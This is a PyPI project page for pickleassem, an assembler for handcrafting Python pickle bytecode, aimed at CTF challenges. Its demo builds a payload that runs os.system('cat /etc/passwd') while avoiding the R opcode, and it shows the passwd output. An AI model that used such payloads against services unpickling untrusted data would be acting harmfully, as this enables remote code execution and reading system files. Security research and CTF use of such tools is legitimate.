A simple pickle assembler to make handcrafting pickle bytecode easier.
Project description
pickleassem
A simple pickle assembler to make handcrafting pickle bytecode easier.
This is useful for CTF challenges like pyshv in Balsn CTF 2019.
Demo
import pickle
import pickletools
from pickleassem import PickleAssembler
pa = PickleAssembler(proto=4)
pa.push_mark()
pa.util_push('cat /etc/passwd')
pa.build_inst('os', 'system')
payload = pa.assemble()
assert b'R' not in payload
print(payload)
pickletools.dis(payload, annotate=1)
pickle.loads(payload)
Output:
b'\x80\x04(\x8c\x0fcat /etc/passwdios\nsystem\n.'
0: \x80 PROTO 4 Protocol version indicator.
2: ( MARK Push markobject onto the stack.
3: \x8c SHORT_BINUNICODE 'cat /etc/passwd' Push a Python Unicode string object.
20: i INST 'os system' (MARK at 2) Build a class instance.
31: . STOP Stop the unpickling machine.
highest protocol among opcodes = 4
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
Installation
Install with pip: pip install -U pickleassem
Documentation
Just refer to the source code. Each method of PickleAssembler
whose name begins with push
, build
, pop
or memo
corresponds to a pickle opcode. Methods whose name begins with util
are higher-level utility functions. append_raw
can be used to insert arbitrary raw opcode.
The following opcodes and corresponding features are not implemented: PERSID
, BINPERSID
, EXT1
, EXT2
, EXT4
, FRAME
, NEXT_BUFFER
, READONLY_BUFFER
.
See Also
Other tools for pickle exploit:
anapickle
: slides, repopwnypack.pickle
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
File details
Details for the file pickleassem-1.1.0.tar.gz
.
File metadata
- Download URL: pickleassem-1.1.0.tar.gz
- Upload date:
- Size: 10.1 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.4.1 importlib_metadata/3.10.1 pkginfo/1.7.0 requests/2.25.1 requests-toolbelt/0.9.1 tqdm/4.60.0 CPython/3.9.4
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 3f8dc37889dd858c4211e1827ab0c3ec214c6e59c18a1a33b1b9e1bffc2d5c4c |
|
MD5 | 53fa82edb096e9dff1aee301b8acfe1c |
|
BLAKE2b-256 | c99abc1ff7cac1ee383b9f2962951507862cb96d23ded1711ea18436ff37e13b |
File details
Details for the file pickleassem-1.1.0-py3-none-any.whl
.
File metadata
- Download URL: pickleassem-1.1.0-py3-none-any.whl
- Upload date:
- Size: 9.7 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.4.1 importlib_metadata/3.10.1 pkginfo/1.7.0 requests/2.25.1 requests-toolbelt/0.9.1 tqdm/4.60.0 CPython/3.9.4
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 5a6d2f077673bc7f3b3937bbad28ae13efdb1f11968a3eeba64a9b5ee8f37f10 |
|
MD5 | 0c8dba7a3278624deee170c86b228480 |
|
BLAKE2b-256 | a3710a929dfff438d5aff23edde0fbabf739d0a5f274625258829024a4b1ff1f |